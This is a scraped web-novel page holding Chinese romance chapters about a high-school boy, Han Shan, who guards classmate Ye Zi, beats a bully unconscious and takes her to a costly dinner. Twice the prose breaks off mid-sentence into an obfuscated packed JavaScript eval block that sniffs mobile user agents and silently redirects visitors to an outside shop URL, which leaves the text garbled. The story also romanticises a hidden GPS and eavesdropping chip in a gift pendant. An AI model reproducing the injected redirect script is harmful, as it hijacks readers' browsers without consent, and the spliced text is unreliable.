南方的早春,气温上升得很快,草丛中已经有蛐蛐在叫,似乎在看好戏,也似乎在催着他回答。 韩山嗓子发紧,心中懊恼难堪,他能怎么办,他只能答应。 她是懂如何让他无法拒绝的。 他哑声说:“好。” 叶子笑了:“不能只是口头答应哦,期中考试我会看你成绩的,若是让我看到你成绩没有进步,我会生气的!” 韩山喉咙更加干涩,喉结滚了滚。 叶子非常开心,“明天学校见!”她给他摆摆手,转身欢快地跑进了楼道,像只小兔子般消失得无影无踪。 韩山只身一人站在原地,烟花爆竹的味道还未散去,而人已经离开了。 他抬头目视楼道的灯一层层向上亮起,最后是她房间的灯。 他转身要走,她房间的窗户打开,一颗圆溜溜的小脑袋探出来。 他又回头。 叶子在高处给他挥手,笑靥明媚。 他的心不自觉变软,仰望她就像仰望天边的太阳。 他抬手回应她。 她开心地笑,给他飞吻。 她的笑容像光,轻而易举洒在他身上。 韩山强迫自己收回目光,再看下去,他就舍不得走了。 叶子目送他背影远去,直到再也看不见,才关上窗户继续学习。 她看到手腕上的手链,不自觉微微一笑。 戴着他送的东西,仿佛他一直陪在身边一样。 韩山出了叶子的小区,整个人的气场顿时冷了几分。他长腿跨上机车,没什么情绪地将一只黑钻耳骨夹别在耳朵上。 这里面内置一个接受器,与树叶吊坠配套,戴在耳朵上,确保他可以随时收到叶子的呼叫。 树叶吊坠里的芯片,有定位系统,也有……窃听功能。 正常情况他不会开启窃听,他只会在她有危险按下呼叫时开启,以便听到她那边的情况。 他不敢告诉她,毕竟这样的方式并不光明,甚至……有那么一点怪异。 可是他真的……没有恶意啊。 * 夜深,叶子躺进被窝,抬起手来端详韩山送她的手链,喜欢得不得了。 也不知道是因为这个手链本身,还是因为送手链的人。 她在幸福和甜蜜中入睡。 第二天清早,李丽然给叶子煮了长寿面,放了一根火腿,两个荷包蛋,早早就叫她起床,祝她生日快乐。 长寿面是她每年生日的必备项目,虽然有的科目满分已经不是一百分了,她家依然保持着一根火腿,两个荷包蛋的传统。 叶子吃着热腾腾的面条,心中幸福感爆棚。 李丽然说:“我已经给你定好蛋糕了,晚上咱们下馆子去!” 叶子最喜欢下馆子了,不禁更幸福了,“好!” 李丽然注意到她手腕上那抹银色,惊讶说:“呀!你这手链是哪来的,还挺好看!” 叶子顿时心虚:“啊……朋友送的生日礼物……” “啥时候送的?”李丽然奇怪,“昨天晚上吃饭的时候你还没戴着。这大早上的,你也没出门啊。” 叶子小脸红透,不知道怎么解释,闷头吃面,还剩最后几口,吃完赶紧跑。 “我看看。”李丽然想拉过她的手。 叶子一个激灵弹起身子,万一被妈妈看出是铂金的怎么办?她该如何解释朋友为什么送这么贵重的东西? 她匆忙扒拉完剩下的面条,拿着书包就跑了,“我去上学了!” 李丽然嘀咕:“这孩子,看看都不行,小气。” * 叶子进班坐在座位,柯以珩一眼就发现了她腕上的手链,扬眉说:“哟,学霸也会戴首饰?银的还是白金的,多少钱?” 秦夏听到立刻抬头去看叶子的手腕,“哇,好好看啊,一定很贵吧!” 叶子支支吾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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话音刚落,李丽然就拿出一个盒子放在叶子面前。 叶子惊讶地张大嘴巴,居然是她想要很久的名牌耳机! 但是因为太贵了,她一直舍不得。 “爸!你怎么知道我想要这个!” “我是你爸!能不知道吗?回家试试音质怎么样。” 叶子欢喜点头,“嗯!” “还有我的礼物。”李丽然又拿出一个盒子,是个小音响。 李丽然说:“我们都知道你平常喜欢听歌,以后你就可以在自己房间里放歌啦。” 叶子太高兴了,扑过去抱住了妈妈。 有父母支持自己的爱好,是多么幸运的事呀。 叶子担心说:“这些东西一定不便宜吧。” 李丽然抚摸着她的背,“你爸现在在国外,工资涨了不少,以后你想要什么给妈妈说,不用再给家里省钱了。” 叶子向来懂事,知道给家里节省,李丽然都看在眼里。 叶子热泪盈眶:“谢谢爸爸妈妈。” 这是叶子第一次跟妈妈两个人过生日,但她的幸福感不仅没有减少,反而成倍增加了。 这真是她最幸福的一个生日呀。 * 韩山从这天起耳朵上多了一个黑钻耳骨夹,他班里都是男生,没人注意,但隔壁艺术生班的女生很快就注意到了。 他头发长了些,后面修成狼尾,银发黑钻,带着股又浑又野的劲儿,张扬到了极致。 愚人节那天,B16的男生们互相整蛊开玩笑,不亦乐乎,唯独韩山被一群艺术班的女生表白。这帮女生本也是张扬爱玩的性子,把韩山当大冒险对象,毫不顾忌地在走廊里喊:“韩山我喜欢你!” 学校对这几个班持放任态度,没老师管。 韩山靠在椅背上看书,头都没抬一下。 猴子和胖哥望着走廊悄悄议论:“真嚣张啊,不怕挨打。” “弥哥绅士,不打女生。” 猴子看向韩山,韩山边看书边随手在草稿纸上写写画画。 猴子起身走过去,胳膊搭过他肩膀,凑近了看,“什么书啊这么入迷?” 结果他定睛一看,竟然物理课本,惊呆了,“卧槽,弥哥学习呢?”他一把抽出韩山手中的课本,反复确认。 韩山不耐烦把书抢回来。 没办法啊,他不能让她的愿望落空。 不求考的多好,只求有进步。 世上很多事情,付出都不一定有回报,唯独学习,再笨的人,只要努力,总能看见成效。 猴子见他来真的,难以置信说:“弥哥,今天可是愚人节哎!你就只学习,不干点啥吗?” 韩山漫不经心在草稿纸上画电路图,随便接了句:“干什么?” “表白啊!”猴子怂恿道,“愚人节等同于情人节,最适合表白!如果对方也喜欢你,这事就算是成了,如果对方不喜欢你,大可无所谓地说句愚人节快乐。谁也不尴尬!难道你不想知道嫂子喜不喜欢你吗?” 猴子不傻,虽然一口一个嫂子叫得欢,但他知道他俩还没捅破窗户纸。 韩山看他一眼,“算了吧。” “怎么弥哥也玩暗恋那套啊,真没劲。”猴子扫兴地走了。 韩山低头继续写字,却有些走思。 猴子说得很有道理,所以她是不是会收到别人的表白呢? 51. 宝贝儿 四月,南方的气温迎来又一次攀升,叶子换上了夏季校服,白色的短袖,深蓝色的百褶裙,露出一双白皙纤瘦的小腿。 柯以珩今天收到无数表白,耳朵都起茧子了。 他以为叶子也会给他表白的,结果直到放学都没等到,不可思议看着她背书包走了。 不是,他连答应她的话都想好了,她居然不表白的吗??? 他心里琢磨,真沉得住气呀,难不成是看见那么多女生给他表白,自卑了??? 他也收拾东西,准备去追她。 叶子平常都是跟秦夏一起走的,然而今天秦夏收到一封匿名信,让她放学一个人去后操场,于是一打铃就跑了。 叶子也看了那封信,字迹是模仿的卡通字体,看不出谁写的。 叶子提醒她:“今天是愚人节,多半是恶作剧,还是别去了。” 秦夏说:“反正去一趟也没啥损失,大不了没人来,白等一场呗!不去我是真的好奇。” 青春期的女生总有一些微波荡漾的少女心思,万一真的是表白呢? 叶子没再多说,叮嘱道:“那你可要注意安全哦。” 秦夏不在,叶子一个人下楼,殊不知,几个高二混混躲在楼梯拐角,守株待兔。 “来没来啊?不会走了吧!”领头的问。 “放心吧龙哥,我在这蹲了好几天了,她每天都是这个点出来。她那个闺蜜也被我用一封匿名信支走了,绝不会有电灯泡!” 说话间,叶子就下来了,他们立刻把老大推出去,“龙哥龙哥,来了。” 龙哥连忙整理衣领发型,三步并作两步跑上楼梯,靠在墙边摆了一个冷酷帅气的pose。 小妞,看老子不把你迷死。 然而叶子从他身边经过,一眼没看他。 龙哥有些挫败,喊了声:“喂!” 叶子不知道他在喊她,继续下楼梯。 龙哥声音更大:“喂!站住。” 混混们乌泱泱一起从拐角处出来,堵在楼梯下,叶子一怔,才意识到是在叫她。 她停在楼梯上,双手不安地抓紧书包肩带,战战兢兢回头看了眼,“你们干什么?” 龙哥下了几个台阶,与叶子站在同一台阶上,痞笑着上下打量她,“别说,还有点姿色。” 他的目光扫描仪一般毫不掩饰地在叶子身上逡巡,尤其在她微微凸起的胸部,纤细的腰肢,以及白皙的小腿上停留。 那种带着点猥琐意味的审视的目光,让叶子非常不适。她感觉自己像一个商品,在被人精心挑选。 她有种不详的预感,双手绕到身后,去摸手链上的树叶吊坠,犹豫着不知道要不要按下。 龙哥从口袋里拿出烟盒,敲了根出来,咬着掏打火机,“你别害怕,我只是有话对你说。” 叶子紧张道:“说什么?” 与此同时,韩山的耳骨夹滴滴响了两声,很小的声音,只有他自己能听到。 树叶吊坠有感应装置,除了按动,持续性的触碰也会有反应,且提示音不同。 他设计这个吊坠的时候,考虑到了她会有犹豫迟迟不肯按下的情况。 他故意不告诉叶子这个功能,就是为了在她犹豫的时候也能收到信号。 韩山微微蹙眉,打开耳骨夹的窃听功能。 龙哥骄傲的声音立刻从耳骨夹中传来:“我是高二的老大,听说你学习好啊,全市第一,正好我最近高兴,寻思给兄弟们找个大嫂,我看你挺合适的。” 韩山陡然停下脚步。 他和猴子他们正走在路上,准备去上网。猴子发现他没跟上,回头道:“弥哥,干嘛呢?” 韩山站在原地,周身泛着冷,“你们先去,我回去一趟。” 他立刻转身往回跑。 猴子奇怪:“弥哥!” 胖哥:“算了别管他了!咱们先走!” 他们一行人继续向网吧走。 叶子听到龙哥的话,害怕地后退。 她想到这是在学校,万一把韩山叫来,韩山跟他们打起来,再次被停课怎么办? 不行,不能连累他。 她最终松开了树叶吊坠。 叶子每天放学走得晚,这会儿教学楼已经没什么人了,不会有人上下楼。 楼道里一片寂静。 她大脑飞速转动,怎么办? 龙哥指尖夹着烟,缓缓逼近她,笑容带着恶意:“别怕宝贝儿,我们都是好人,不会伤害你的。” 叶子一步步后退,声音颤抖:“我们、我们不合适……你换个目标吧。” 她转身要往楼上跑,龙哥一把抓住她的手腕,将她扯回来,“怎么不合适了,我学习不好你学习好,多互补啊。” 韩山听到这句话,把碍事的书包摘了随手一扔,全力狂奔。 “别碰我!”叶子尖叫甩开他。 龙哥笑意顿时消失,瞪眼睛挺身逼近,“呦呵!气性挺大啊。啥意思不想当老子媳妇啊?你知道外面多少人抢着跟老子表白吗!” 叶子不断后退,后腰紧紧贴住了楼梯扶手,她已经没有了退路,而龙哥还在逼近。 她抬手制止他,“你别过来!” 她越反抗龙哥越有征服欲,嘴角挂着若有似无的笑,眼神轻佻。 “半推半就,欲迎还拒?”龙哥笑道,抬手要去抓她的手腕,“啧,宝贝儿,你还挺会。” 这时,柯以珩从楼上匆匆下来,一把推开龙哥,“干什么呢!” “叶子!”韩山同时冲进楼道,一步好几个台阶,飞快往楼上奔。 他的声音低沉急促,尾音带着抖,在楼道里回荡。 叶子一惊,韩山? 她下意识扒住栏杆往楼下看。 龙哥被柯以珩坏了好事,很是不爽:“这哪冒出来的?知不知道老子是谁?” 柯以珩将叶子拉到身后挡住,“我管你是谁!滚!” 韩山听到另一个男生的声音,猛地顿住。 叶子没看到是不是韩山,还想去看,又被柯以珩扯回来。 龙哥指着柯以珩,模样无比张狂:“你他妈别太嚣张,在学校不想跟你动手。” 柯以珩挥开他的手,“谁嚣张啊?春天到了发.情了是吧?四处求偶?不撒泡尿看看自己什么鸟样!” 他平常顾及自己形象,不随便骂人,但骂起来比谁都狠,脸上的伤成了点睛之笔,给他更添了几分凶戾。 龙哥:“你他妈嘴巴放干净点!” 柯以珩:“你他妈心思放干净点。” 龙哥嗤笑一声,抽了口烟呼出去,看向柯以珩身后的叶子,调侃道:“没看出来啊宝贝儿,你还挺会勾引男人的,让人家这么护着你?” 柯以珩推了龙哥一把,“你他妈少恶心人!谁是你宝贝儿!” 龙哥火一下子窜上来:“嘿!不想搭理你你还没完了是吧!关你啥事啊逞什么英雄?想在妹子面前表现是吧,人家认识你吗?啊?” 柯以珩把叶子往怀里一搂,“还就他妈关我事了,我女朋友!” 叶子:? 此话一出,气氛微妙地波动。 龙哥冷笑了声,混混们互相看了眼。 楼下韩山脸色阴沉极了。 龙哥根本不信,他早就派人打听过叶子了,人家好学生根本就没对象,不然他也不会选择她。 龙哥不屑道:“少他妈吹牛逼,兄弟们给他点教训,让他再吹!” 一声令下,混混们齐上,柯以珩跟他们在楼梯上打了起来。 叶子脸色发白,倒吸一口冷气,慌忙道:“柯以珩你坚持一下,我去叫老师!” 叶子飞奔上楼,就近冲进所在楼层的办公室,还好有两个老师没走,叶子喊了声:“老师!有人在楼道打架!” 两个老师立刻赶过去,混混们一溜烟跑了,剩下柯以珩坐在台阶上,脸上挂了彩。 他旧伤刚好又添新伤,捂着伤口,疼得面部抽搐。 老师连忙扶起柯以珩询问情况,叶子也留下来跟老师说明事情经过。 几个混混虽然嚣张,但还是怕老师的,老师一来争先恐后往楼下跑。 他们人多,打柯以珩一个,没人受伤。 就在他们要跑出高一教学楼时,门口突然闪出一个人影,龙哥脸上重重挨了一拳。 “操!”龙哥捂着脸后退,莫名其妙抬头:“你他妈有病啊?” 话音刚落,迎面又是一拳。 龙哥还没看清楚是谁,直接被打翻在地。 韩山把他拎起来,揪着他的衣领按在墙上打,一拳接一拳。 龙哥脸上鲜血迸流。 龙哥那些小弟们吓了一跳,连忙去拉架,然而韩山死死抓着龙哥,根本拉不开。 韩山浑身肌肉紧绷,手臂上青筋暴起,眼神空洞,一拳一拳像着了魔发了疯。 他们认出那是高一的老大,据说打架贼牛逼,全都慌了,愣在原地大脑一片空白。 三三两两的学生经过教学楼门口,纷纷驻足围观。 “天啊什么情况?” “这干什么呢?” “怎么打起来了!” 龙哥的脸转眼肿成了包子,眼圈被打得乌黑,鼻血哗哗流,牙齿掉在地上,满口鲜血,一眼望去脸上红的黑的青的紫的,五颜六色。 他牙没了说话漏风,含糊不清地说:“我.操.你他妈神经病啊,招你惹你了……” 路过的男生纷纷来拉架,七八个人合伙也没拉开韩山。 他像是看不见听不见,眼中没有一丝情绪,冰冷而麻木。 就像一个设置好了打人程序的机器,不把人打死不罢休。 场上所有人都被韩山的疯魔劲儿吓到了,聚在一起浑身发抖。 “这样打下去会死人的吧……” “快去叫老师!” “打 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14369134|144650||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 120!” 韩山听不见他们恐惧的叫声,他耳边全是眼前这个满脸血的男生轻佻的声音: ——别怕宝贝儿,我们都是好人。 ——宝贝儿,你还挺会。 ——没看出来啊宝贝儿,你还挺会勾引男人的,让人家这么护着你? 没错,他就护着了,他今天就送你上西天。 叶子和柯以珩给老师说明完情况,一起下了楼,叶子拐过弯,看到眼前这一幕,心脏都要被吓停了。 “韩山!”她立刻从柯以珩身边跑过去。 柯以珩一愣,没想到居然在这里看见韩山,更让他没想到的是,叶子竟然跟韩山认识。 韩山身体顿时一僵。 少女的声音化作一道无形的力量,将他的手臂缠绕住,他拳头定格在空气中,神智回笼,眼中终于有了情绪。 围观的同学们听见叶子的声音,都纷纷回头。 他们起初只是下意识去看声音的来源,然后他们便发现,这个怎么拉架也拉不动的少年,居然只因为这个女孩的一声呼唤,就立刻停了下来。 有好心的男生拦着叶子不让她靠近,“危险!” 叶子忙说:“没事的,我们是朋友!” 韩山的拳头剧烈颤抖,再也无法落下。 他没有像往常一样回眸迎上她的目光,而是深深垂下了头,缓缓松开龙哥的衣领,颓败地塌下了肩膀。 他的脸埋在阴影里,没人看清他此刻的神色。 龙哥早已昏迷了过去,身体失去支撑倒下。 叶子跑到韩山面前,看了眼满脸鲜血躺在地上的龙哥,难以置信捂住嘴巴,“韩山……你……” 韩山拳头上沾着鲜血,无力地垂在身侧,低着头哑声说:“对不起。” 让你看到这么血腥的一幕,看到他这样暴戾恐怖的一面。 对不起。 鲜血顺着他的指尖一滴滴落在地上,殷红一片。 叶子心里一阵酸涩,他这是为了她吗? 刚刚在楼道里她没有听错,真的是他! 她不想连累他的,可终究还是…… 他这样会被记过的! 柯以珩走了过来,似乎也看出了什么,“你们……”他的目光投向叶子,有求证的意味。 叶子不知道怎么跟他解释。 韩山想起柯以珩叫叶子的那个称呼,垂头苦笑。 原来他们在一起了啊。 虽然他早就知道有一天她会和别人在一起,做足了心理准备,可当这一天真的来临,他还是有种无法控制的窒息感。 他深深地呼气吸气,像溺水的人拼命挣扎汲取最后一点氧气。 这件事还是发生得太快了。 老师和救护车都来了,检查龙哥的情况,韩山对柯以珩说:“带她走。” 他做的事他自己承担,他会在这等他的结果。 柯以珩也不想叶子跟这种人扯上关系,拥着叶子离开,“走吧。” 叶子不想走,韩山说:“听话。” 叶子无法拒绝这两个字,一步三回头地跟着柯以珩离开。 她看到龙哥被抬上了救护车,韩山配合老师问话,始终垂着头,目光灰败。 两个人出了校门,柯以珩一边走一边问叶子:“你们怎么认识的?” 叶子情绪低落,没心情回答他的问题,随便应了声:“巧合吧……” 柯以珩笑了笑:“那还挺有缘的,你们根本不是一路人。” 叶子没搭腔。 一路人的定义又是什么呢? 柯以珩带着几分私心,正色说:“叶子,我觉得你还是离他远点比较好,之前就是他打的我,这种人,有暴力倾向。” 叶子立刻反驳:“不是的,他没有。” 只有她知道他有多温柔,他每回打架都是有原因的,他绝不会无缘无故打人。 柯以珩还想劝:“叶子……” “别说了。” 叶子转过头,很郑重地告诉柯以珩:“我跟他是好朋友,他帮过我很多,我很了解他。他不是你想象的那种人。你再说他的坏话,就是挑拨离间。” 柯以珩只好闭嘴,没想到她也有这么强硬的一面。她平常看着脾气很好啊。 叶子也没说话,空气一时沉默。 柯以珩没话找话说道:“对了,刚刚我说你是我的女朋友,不好意思……情急之下没过脑子……你不会介意吧?” 叶子淡淡说:“没事,我明白的。” 柯以珩观察她的表情,他本以为这样的“冒犯”会让她有那么一丝一毫的开心,可她看起来就像听了一个无趣的笑话般,无动于衷。 前面就是公交车站,叶子说:“就到这吧,我坐公交回去。谢谢你送我,再见。” 她微微颔首,转身向公交站台走去。 柯以珩注视她的背影,有时候真希望她可以对他别这么客气。 52. 小三【双更合一】 龙哥被送到医院后昏迷了两天,终于醒了过来。 柯以珩、龙哥,以及龙哥那些小弟们,都受了处分,韩山被记了大过,停课半年。秃驴告诉他,这次是念在龙哥寻衅滋事在先,饶过他一次,若再有下次,他就要被开除了。 这件事也惊动了韩松庭,他给韩山打来电话:“你真是让韩家蒙羞,让我丢尽脸面!以后你每做一件事,我就毁你一件事,你每交一个朋友,我就毁你一个朋友。你别想好过!” 韩山早就拉黑了他的号码,他是用别人手机号打的。 韩山挂了电话笑了很久。 他是真的想笑,每次只要他犯错,韩松庭永远是一副高高在上趾高气昂的模样。别人的父母管教自己的孩子都是为了孩子好,只有韩松庭,明明白白地不想让他好过。 在韩松庭眼里,面子、声誉,甚至是随便一场生意谈判,都比他重要。 也对,他只不过是韩松庭一颗廉价肮脏的精.子,有什么好奢望的呢? 他活得像一个笑话。 * 叶子那天回到家就用手机给韩山发了短信,让他处理完事情联系她,但始终没收到回复。 她从柯以珩那听说了那件事的处置结果,非常担心韩山,放学后去仓库看他,却发现仓库已经卖给了别人,成了一个修车铺。 叶子站在修车铺的招牌下傻眼了。 叶子走进修车铺,里面一股机油味,满地的零件,到处都是黑乎乎的机油,乱七八糟。 老板在车底下忙碌,露出半截腿。听见有人来,他从车底下出来,顺便拿毛巾擦了把汗,问:“小姑娘修车吗?” 叶子下意识抓紧书包肩带,小心翼翼说:“不好意思叔叔,我不修车,我想问一下,这个仓库原来的主人去哪了?” 老板是个中年大叔,脾气不太好,一听不修车,顿时没了耐心,说了句:“我怎么知道?”就又钻回了车底下。 叶子忙说:“对不起!那、那你是什么时候租……或者买下的这个仓库?” “上个月吧!”老板的声音从车底下传来。 叶子思索,上个月……所以韩山上个月就搬走了?怎么不给她说呢? 她有些生气,给老板道了声谢离开了。 叶子走出筒子楼,过去的一幕幕在她脑海里浮现,她还记得她第一次踏入仓库时的紧张胆怯,记得她在那里哭过笑过,记得他们曾目光真挚地交换圣诞礼物……他还在那里教她防身术,一切仿佛还是昨天的事情。 怎么他就这么悄无声息地搬走了? 叶子站在路边,气不过,她没拿手机,没法给他打电话,想起手链上的树叶吊坠,咬牙切齿按了下去。 她幻想过无数次第一次按下树叶吊坠的场景,没想到竟然是因为这个。 说好的她一按他就出现,她来验证一下是不是真的。 韩山现在住在外环的大平层里,新买的房子。 当时销售给他推荐别墅,他拒绝了,韩家就住在别墅,他对别墅实在没什么好感。 这个地段的大平层离学校和叶子家都很近,他毫不犹豫选择了这里,中层,舒适度、采光和通风都是最好的。 最适合养花啊。 耳骨夹响的时候,韩山在书房中学习,他答应过叶子的生日愿望,不能因为被停课就食言。 他以为她有危险,立刻打开窃听功能,拿了机车钥匙出门,边走边打开GPS定位系统。 然而叶子那边却并没有什么特别的声音,只有来来往往的车辆声,人们的说话声。 他便知道了,她只是想见他而已。 韩松庭的声音不经意在脑海响起——你每交一个朋友,我就毁你一个朋友! 他脚步顿了顿,咬牙。 他想到柯以珩叫她“女朋友”,微微收拢五指。 她都有男朋友了,为什么还要跟他见面? 他是绝不会当小三的。 他喉结滚了滚,转身大步往回走,没几步又艰难地转了回来。 他不怕韩松庭,只要他活着,他就有信心保护好她。 只是想起那声“女朋友”,他的道德感、骨气,乃至那点可怜的自尊心,都在向他抗议。 可惜终究只是徒劳。 所有的一切与她相比,都是那么脆弱不堪一击。 他想去,他要去。 他手腕戴着一块新的手表,一块领先于社会至少十年的具有完善智能系统的手表,他把手链的GPS定位系统复制了一份迁进手表中,这样携带起来更方便。 他轻点手表屏幕几下,用GPS锁定她的位置,发现她在筒子楼外一直没动,感到懊恼狼狈。 原来被发现了…… 她会不会生气? 他得向她赔罪啊。 韩山顺路买了杯奶茶,挂在车把上,以最快的速度赶过去。 他的机车拥有最顶级的动力系统,极限时速超乎想象。 叶子在原地等他,没想到几分钟后,少年真的出现了。 他停在她面前,长腿支着机车,摘下头盔,顺带甩了两下额发,看向她。 叶子惊讶地睁大眼睛,“这么快啊!” 她以为她得等一会儿,毕竟这是二十一世纪,不是仙侠世界,也不是科幻片,不存在瞬移功能。 几分钟就出现,已经算是非常非常非常快了。 他没骗她,甚至没有夸张,她想见他的时候,他真的就会立刻出现。 韩山食指勾着奶茶的袋子,无言地将奶茶递了过去。 叶子看呆了,他甚至还买了杯奶茶?!?!?? 吃人嘴软拿人手短,她要是现在收了这奶茶,就不能理直气壮质问他为什么搬家不告诉她了。 于是她没接,轻咳一声抱起双臂,赌气说:“为什么搬家不告诉我?” 韩山给她买奶茶,本就是怕她生气,想让她开心点,结果她不收,他无措了一瞬,连忙说:“对不起,错了。” 叶子硬气地说:“我是问你为什么,别光说对不起。” 韩山发现她是真的生气了,心中警铃大作,立刻拨开脚撑,从机车上下来,语气不自觉带上哄的意味,“这不是想给你个惊喜吗,还没来得及说,让你先发现了。你先拿着。”他把奶茶送到她手边。 叶子气稍微消了些,原来是“惊喜”啊,算他会说话。 然而她还是没接奶茶,她还有点气他不回她的短信,他知不知道这几天她一直在担心他呀? 韩山很有眼力价地帮她撕开吸管包装,扎进奶茶里,送到她嘴边,“改天带你去我新家看看,可以吗?” 叶子心道:“这还差不多。”终于接过了奶茶。 “那你为什么不回我短信?”她问。 韩山没想到她还记得这件事,一时难以启齿,他不是不回,是根本不知道怎么回。 他那天拿着手机删删改改无数次,头疼到想把手机摔了。 停课这种事并不光彩。 何况他打架是为了她,他感觉他的心思已经昭然若揭,感觉他在她面前已经毫无保留赤.裸裸。 加之她有男朋友了,他根本不知道该以怎样的态度面对她。 他做不到跟以前一样。 “怎么不说话?”叶子问。 韩山喉结滚了滚,感觉自己被逼到了绝路,难道非要他把他那点可笑的心思彻底说出来她才肯罢休吗? 他哑声道:“我慢慢给你说好吗,先上车吧,你饿了吗,我带你去吃饭,就当赔不是了。可以吗?” 叶子知道他打架是为了她,可她根本没往那方面想,她只是愧疚,她又连累了他。 见他不愿意说,她也有点难受,垂下头小声说:“不用了,你打架都是为了我,我给你发短信只是担心你,你现在好好的就行了,我先回家了。” 她转身要走,韩山神色变了变,当即拉住她。 担心他?她说这种话她男朋友知道吗? 然而这种话他倒是挺受用,他胸腔那种窒闷的感觉不经意散去很多,他说:“走吧,就当是庆祝我乔迁之喜。” 叶子这次无法拒绝,有时候她真的很佩服他的口才。 同一件事换种说法,就完全变了个性质,让人没办法说出那个“不”字。 叶子跟着他上了机车。 韩山发动机车,驶上主路,心中有种背德感。 他载着别人的女朋友去吃饭。 或许异性间吃个饭这种事本身算不得什么,但他很清楚自己的心思并不纯粹。 这种不纯粹给原本平常的事增添了几分旖旎色彩。 这样的感觉既新鲜又刺激,他从未体验过,感到热血沸腾。 她男朋友知道了会是什么反应? 想想还挺爽的。 韩山问道:“有想吃的吗?没有我就带你去尝尝鲜。” 叶子想尝鲜,便说:“没有。” 韩山唇角微勾,“好,走了。” 机车加速,叶子下意识抓紧他的衣服。 韩山感觉到身后传来的细微拉力,微微偏头,余光向后看了眼。 少女乖乖的,双手抓着他衣服下摆的边缘,依赖又克制。 他不知道她是单纯没有避嫌的意识,还是根本就没想对他避嫌,笑意更深几分。 柯以珩,看来她对你的感情,也不过如此。 韩山带叶子来到一家法式餐厅,叶子十分意外,她还从来没吃过西餐。 就……这么夸张吗? 尝鲜尝到国外去了! 韩山停好车下来,向她献出手臂,请她下车。 叶子犹豫道:“这里会很贵吧,要么还是换个地方?” 韩山:“我请,下来吧。” 第一次跟她在外面吃饭,当然要吃点好的。 贵又如何,他又不差钱。 叶子心想既然白吃白喝…… 她果断把手搭在他手臂上,跳下机车。 叶子跟着韩山走向餐厅,这餐厅明光烁亮,招牌也是高端大气,一看就很豪华。 站在大门内侧的两位男侍应生为他们开门。 侍应生戴着白色手套,穿着正式的侍应生服装,鞠躬说:“您好,几位?” 韩山说:“两位。” “里面请。” 其中一个侍应生带着他们往里走,叶子跟在韩山身边,新奇地打量餐厅内的装潢。 这个餐厅环境非常好,装修得富丽堂皇,正中央舞台上,有穿着西装的法国乐队演奏着轻音乐,整个餐厅的氛围十分优雅。 在这里吃饭的都是一些成年人,穿着打扮光鲜亮丽,一看就是社会上层人群。 叶子低头看了眼自己的校服,颇有些格格不入。 她看向韩山,好在韩山穿得也很随便,黑色T恤,宽松牛仔裤。他们一看就是学生。 不过还好,有人跟她一起格格不入,那就不算格格不入。 侍应生将他们带到一片空位旁,让他们挑选,韩山选择了靠玻璃的。 叶子正好喜欢靠玻璃坐,开心地坐了下来。 韩山坐在她对面。 侍应生把菜单递给韩山,韩山接过,推到叶子面前,“看看想吃什么,随便点。” 叶子低头看到菜单上的价格,嘴巴瞬间张得能塞下一个鸡蛋。 菜单上就没有两位数的东西!连杯白开水都要一百块! 叶子倒吸了口气,手挡在嘴边,趴近韩山悄悄说:“太贵啦,咱们还是换个地方吃吧!” 吃了他这么贵的饭,以后在他面前还能挺直腰板说话吗? 韩山笑笑说:“那我起个头。” “一份亨利牛排。”他看向侍应生。 他之前在这家餐厅吃过,不用看菜单就能说出名字。 叶子立刻翻了翻菜单,亨利牛排是店里的招牌,也是价格最贵的之一——按规格六千到八千不等。 她惊呆了,这么多钱够他们家半年伙食费了! 韩山目光带着温和的笑意,只要她高兴,花多少钱都是值的。 侍应生在点单机上操作,“小份两百克中份四百克大份六百克,您需要?” 韩山:“大份。” 叶子没买过肉,对重量单位没什么概念,微微蹙眉。 “几分熟?” 叶子听说过牛排八分熟的笑话,把嘴闭严实了。 韩山对答如流:“M5五分熟。” 叶子拧紧了眉头。 M5又是什么意思? 侍应生记录完点单信息,重复了一遍:“主菜亨利牛排大份五分熟,M5。” 韩山看向叶子,“剩下的你来吧。” 叶子犹豫说:“这一份就差不多了吧……” 八千块钱呢! 韩山笑了笑,看她实在为难,把菜单拉回来,“那我点了。” 叶子听他点了一堆复杂的菜名,什么蜗牛、鱼羹、鹅肝……全是她没吃过的。 韩山最后点了饮料和甜品,侍应生记录好之后,拿着菜单离开了。 叶子担心说:“这么多能吃得了吗?” 韩山笑着给她解释:“西餐分量很少的。” 叶子总觉得哪里不对劲,“韩山,你现在这么有钱吗?” 八千块的牛排说点就点! 加上那些林林总总的菜品,感觉要破万了! 一顿晚饭就吃破万,叶子做梦都不敢这么梦。 韩山弯了弯眼睛,没有正面回答,话锋一转道:“你晚点回去没事吧?” 叶子:“没事的。” 李丽然下班晚,估计她到家李丽然都没回来。 侍应生很快给他们送上饮料,韩山给叶子点的西瓜汁,给自己点的茶。 若非是为了陪叶子,他会点酒,法国盛产葡萄酒,这家店自酿的葡萄酒很好喝,搭配牛排最为合适。 叶子喝了口西瓜汁,尝出来是鲜榨的,天然的西瓜甜味,冰冰凉凉,她很喜欢。 那杯奶茶她喝了一半,瞬间失宠。 她随口问道:“你现在搬到哪里去了?好突然呀。” “到时候带你去,你就知道了。” “是买的新房吗?” 韩山点头。 叶子愈发奇怪,他到底哪里来的钱呀? 之前猴子给她提过一嘴说他卖游戏外挂,可是……外挂能赚出一套房子吗? 韩山看出她在想什么,笑着与她聊起别的,试图转移她的注意,“法国盛产多种酒类,一般会在餐前先喝一杯开胃酒。所以法餐都是饮料酒水先上。之后是前菜、主菜,最后是饭后甜点。” 说话间,侍应生便端着盘子来了,这回上的是一盘切片的法式长棍面包,带有丰富的果仁,还配了黄油酱。黄油酱里撒了西芹碎作为点缀。 叶子低头一看,有点无语住。 怪不得韩山说西餐分量小,这是真的小! 面包只有四片! 每片不到一厘米厚! 